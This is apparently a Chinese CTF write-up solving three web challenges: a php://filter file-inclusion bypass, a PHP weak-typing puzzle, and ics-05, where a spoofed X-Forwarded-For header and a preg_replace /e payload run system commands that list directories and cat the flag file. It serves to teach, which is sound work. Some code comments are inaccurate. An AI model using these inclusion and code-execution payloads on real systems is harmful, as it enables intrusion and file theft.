file_include、easyphp、ics-05

file_include

前言

文件包含漏洞,简单说就是:程序用「用户可控的参数」拼接文件路径,直接执行「包含文件」操作,导致攻击者能让服务器包含任意文件(如敏感信息、恶意代码)。

解题

打开题目发现一段文件包含代码

如果flag存储在PHP文件中(如flag.php,内容是<?php$flag="CTF{xxx}";?>),直接包含会执行PHP代码但不输出flag,此时用php://filter伪协议编码读取源码

?filename=php://filter/read=convert.base64-encode/resource=flag.php

查看源码,发现read,base64,encode等关键字符被过滤了,进行混编

尝试大小写混写绕过

复制代码
?filename=PhP://FiLtEr/reAd=CoNvErT.BaSe64-EnCoDe/reSoUrCe=flag.php

也不行

尝试插入不可见字符(空格 /%00/%09)

插入空格(%20 URL编码后,浏览器会自动转义,也可直接写空格)

复制代码
?filename=php://filter/rea%20d=convert.base64%20-encode/resource=flag.php

插入制表符(%09,效果同上)

复制代码
?filename=php://filter/rea%09d=convert.base64%09-encode/resource=flag.php

插入空字符(%00,适合严格过滤场景)

复制代码
?filename=php://filter/rea%00d=convert.base64%00-encode/resource=flag.php

都不行

用过滤器别名替代 base64-encode

复制代码
?filename=php://filter/read=convert.base64/resource=flag.php

双写关键词(应对 "替换过滤")

复制代码
?filename=php://filter/rereadad=convert.base64base64-encode/resource=flag.php

协议前缀省略(极简绕过)

复制代码
?filename=//filter/read=convert.base64-encode/resource=flag.php

用其他编码过滤器替代(终极方案)

rot13 编码(简单替换编码,在线可解)

复制代码
?filename=php://filter/read=convert.rot13/resource=flag.php

quoted-printable-encode 编码(MIME 编码,在线可解)

复制代码
?filename=php://filter/read=convert.quoted-printable-encode/resource=flag.php

组合绕过

大小写+空格+简写组合

复制代码
?filename=PhP://FiLtEr/re%20aD=CoNvErT.BaSe64/reSoUrCe=flag.php

双写+不可见字符组合

复制代码
?filename=php://filter/rere%00adad=convert.base64base64-enco%20de/resource=flag.php

这些都不行

用iconv编码转换替代了传统编码(将指定的文件从UCS-4*转换为UCS-4BE 输出)

复制代码
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

发现flag:cyberpeace{52cd898a8a199b99a633098ecbb79162}

easyphp

打开题目是一段代码

php 复制代码
<?php

// 高亮显示当前文件的源码(方便查看代码结构,CTF 中常见调试/展示手段)

highlight_file(__FILE__);

// 初始化两个标志位,均为 0(需同时置为 1 才能获取 flag)

$key1 = 0;
$key2 = 0;

// 从 GET 请求中获取参数 a 和 b(用户输入可控)

$a = $_GET['a'];
$b = $_GET['b'];

// 第一个条件判断:需要满足 3 个条件才能进入内层逻辑
// 1.  参数 a 必须存在(isset($a))
// 2.  a 转换为整数后必须大于 6000000(intval($a) > 6000000)
// 3.  a 的字符串长度必须 <= 3(strlen($a) <= 3)
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    // 第二个条件判断:针对参数 b 的校验
    // 1. 参数 b 必须存在(isset($b))
    // 2. 对 b 做 md5 加密后,取末尾 6 个字符,必须等于 '8b184b'
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        // 若 b 校验通过,将 key1 置为 1(第一个标志位满足)
        $key1 = 1;
    }else{
        // b 校验失败,直接退出并输出提示
        die("Emmm...再想想");
    }
}else{
    // a 校验失败,直接退出并输出提示
    die("Emmm...");
}

// 第三个条件判断:针对参数 c 的校验(c 需是 JSON 格式字符串,解析后转为数组)
// 1. 用 json_decode 解析 GET 参数 c,@ 抑制解析错误,解析后强制转为数组($c=(array)...)
$c=(array)json_decode(@$_GET['c']);

// 内层条件:需满足 2 个大条件才能进入下一层
// 1. $c 必须是数组(is_array($c))
// 2. $c["m"] 不能是数字/数字字符串(!is_numeric(@$c["m"]))
// 3. $c["m"] 比较后必须大于 2022(利用 PHP 弱类型比较,非数字可通过特定值满足)
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    // 进一步校验 $c["n"] 的结构
    // 1. $c["n"] 必须是数组(is_array(@$c["n"]))
    // 2. $c["n"] 的元素个数必须等于 2(count($c["n"]) == 2)
    // 3. $c["n"][0] 必须是数组(is_array($c["n"][0]))
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        // 查找数组 $c["n"] 中是否存在 "DGGJ" 字符串,返回对应的键名(array_search 弱类型查找)
        $d = array_search("DGGJ", $c["n"]);
        // 若未找到($d === false),直接退出
        $d === false?die("no..."):NULL;

        // 遍历 $c["n"] 数组,若存在元素严格等于 "DGGJ",直接退出
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
       
        // 所有校验通过,将 key2 置为 1(第二个标志位满足)
        $key2 = 1;
    }else{
        // $c["n"] 结构校验失败,退出
        die("no hack");
    }
}else{
    // $c 基础校验失败,退出
    die("no");
}

// 最终判断:只有 key1 和 key2 同时为 1(所有条件满足)
if($key1 && $key2){
    // 包含 flag 所在文件(Hgfks.php 中存储了 $flag 变量)
    include "Hgfks.php";
    // 输出成功提示
    echo "You're right"."\n";
    // 打印 flag
    echo $flag;
}

?>

根据代码我们需要构造以下参数

参数a:需满足「短字符串(长度≤3)但intval转换后>6000000」,利用PHP科学计数法(如7e6,strlen=3,intval=7000000);

参数b:需找到一个字符串,其md5后末尾6位是8b184b(可通过爆破/查表获取,如b=53724等);

参数c:需构造JSON数组,满足:

m非数字但弱比较>2022(如m="2023a",非数字且字符串比较>2022);

n是长度为2的数组,第一个元素是子数组;

array_search("DGGJ",c\["n"\])能找到(弱类型匹配,如c["n"]=[[1,2],0],因"DGGJ"弱比较等于0),但遍历无严格等于"DGGJ"的元素。

满足以上所有条件即可触发include"Hgfks.php"并输出$flag。

php 复制代码
?a=7e6&b=53724&c={"m":"2023a","n":[[1,2],0]}

发现flag:cyberpeace{5ade1ad008084e83ceb8d55d751f0f79}

ics-05

启动靶机后进入一个系统,一顿乱点后发现只有设备维护中心可以进去

进入看源码

发现了参数?page=index,点一下发现index.php。此时用可以用php伪协议读取index.php的文件内容

php 复制代码
?page=php://filter/read=convert.base64-encode/resource=index.php

解码

php 复制代码
<?php
error_reporting(0);

@session_start();
posix_setuid(1000);

?>
<!DOCTYPE HTML>
<html>
<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">

</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>

    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
        var table = layui.table,
            form = layui.form;

        table.render({
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    { type: 'numbers' },
                     { type: 'checkbox' },
                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     { field: 'name', title: '设备名', templet: '#nameTpl' },
                     { field: 'area', title: '区域' },
                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
        var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
            //console.log(elem)
            layer.msg(elem.text());
        });
    });

    </script>
<?php

$page = $_GET[page];

if (isset($page)) {
if (ctype_alnum($page)) {
?>
    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{
?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php
                if (strpos($page, 'input') > 0) {
                    die();
                }
                if (strpos($page, 'ta:text') > 0) {
                    die();
                }
                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
<?php
}}

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

最主要的是以下代码:

php 复制代码
<?php
// 功能说明:临时实现简单的输入输出测试功能(正则替换演示)
// 开发状态:正在开发中,仅允许内部人员测试(未正式上线)
// 核心用途:通过正则表达式对输入的字符串进行替换操作,用于内部功能调试

// 身份校验:仅允许 X-Forwarded-For 请求头为 127.0.0.1 的请求访问(模拟本地/内部来源)
// 注意:X-Forwarded-For 是可伪造的请求头,此校验方式安全性极低,仅适用于测试环境
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    // 输出管理员欢迎信息(标识已通过身份校验)
    echo "<br >Welcome My Admin ! <br >";

    // 接收URL中的GET参数,用于正则替换的三要素
    $pattern = $_GET['pat'];      // 正则表达式模式(如:/abc/ 匹配字符串中的"abc")
    $replacement = $_GET['rep'];  // 替换内容(将匹配到的内容替换为此值)
    $subject = $_GET['sub'];      // 目标字符串(需要进行正则替换操作的原始字符串)

    // 校验三个必要参数是否均已传入(避免因参数缺失导致的语法错误)
    if (isset($pattern) && isset($replacement) && isset($subject)) {

        // 执行正则替换操作:preg_replace(模式, 替换内容, 目标字符串)
        // 注意1:默认仅替换第1次匹配结果,若需全局替换需在模式后加"g"修饰符(如:/abc/g)
        // 注意2:若模式中包含"/e"修饰符(PHP 7.0+已废弃),会导致替换内容被当作PHP代码执行,存在代码注入风险
        // 注意3:此函数执行结果未输出/存储,仅执行替换操作(测试环境下的演示逻辑)
        preg_replace($pattern, $replacement, $subject);
    } else {
        // 若缺少任意参数,直接终止脚本执行(避免后续逻辑报错)
        die();
    }
}
?>

?>
</body>
</html>

伪造请求头(绕过身份校验),使用bp抓包,发送到Repeater模块在请求头中添加

php 复制代码
X-Forwarded-For:127.0.0.1

发现登录成功,这里不要把X-Forwarded-For放到最后,否则发不过去

构造正则注入payload(利用/e修饰符)

pattern 需包含/e修饰符,且能匹配subject中的内容(否则替换不执行);

replacement写入要执行的PHP代码。

php 复制代码
?pat=/abc/e&rep=system("ls")&sub=abc

如图列出目录

css

index.html

index.php

js

layui

logo.png

s3chahahaDir

start.sh

视图.png

获取layui文件的内容

php 复制代码
?pat=/abc/e&rep=system("cat layui &&ls")&sub=abc

发现访问失败了,可能是Web服务器或PHP通常对参数进行URL解码,这意味着,当您在URL中使用%26%26时,它会被解码为&&,然后传递给system函数。

php 复制代码
?pat=/abc/e&rep=system("cd%20layui%26%26ls")&sub=abc

好像没有有用的信息,换一个文件夹

php 复制代码
?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26ls")&sub=abc

发现了flag文件夹,进入该文件夹,获取里面的文件名

php 复制代码
?pat=/abc/e&rep=system('cd%20s3chahahaDir/flag%26%26ls')&sub=abc

发现flag.php文件

php 复制代码
?pat=/abc/e&rep=system('cat%20s3chahahaDir/flag/flag.php')&sub=abc

发现flag:cyberpeace{c48ef7ab996247b53ad748bea83d7118}

相关推荐
John_ToDebug2 小时前
浏览器内核复兴:WebGPU与WebAssembly如何重绘互联网的未来边界
chrome·架构·web
white-persist2 小时前
【内网运维】Netstat与Wireshark:内网运维溯源实战解析
运维·网络·数据结构·测试工具·算法·网络安全·wireshark
刘婉晴3 小时前
【Kali 渗透测试】环境搭建
网络安全·渗透测试
John_ToDebug3 小时前
桌面应用中的浏览器引擎抉择:深入解析Chromium、CEF与WebView2
chrome·架构·web
DeepVis Research4 小时前
【VR/OSINT】2018年度沉浸式元宇宙架构与开源情报(OSINT)桌面取证基准测试(含头号玩家/网络谜踪核心样本)
网络安全·人机交互·元宇宙·虚拟现实·osint
曲幽4 小时前
FastAPI响应实战:从JSON到HTML,轻松驾驭多种数据格式
python·html·json·fastapi·web·jinja2·responses
Bruce_Liuxiaowei4 小时前
HTTPS真的安全吗?—— 使用 mitmproxy 中间人攻击破解 GitHub 登录会话
安全·网络安全·https
江边鸟2194 小时前
小迪安全第二十六天
网络·tcp/ip·安全·web安全·网络安全
DeepVis Research6 小时前
【AGI Safety/Robotics】2026年度 AGI 对抗性强化学习与软体机器人控制基准索引 (Skynet/Legion Core)
人工智能·网络安全·机器人·数据集·强化学习
深念Y14 小时前
proxypin抓包工具获得nb实验室VIP(已失效)
游戏·网络安全·抓包·逆向工程·软件逆向·nb实验室·教育软件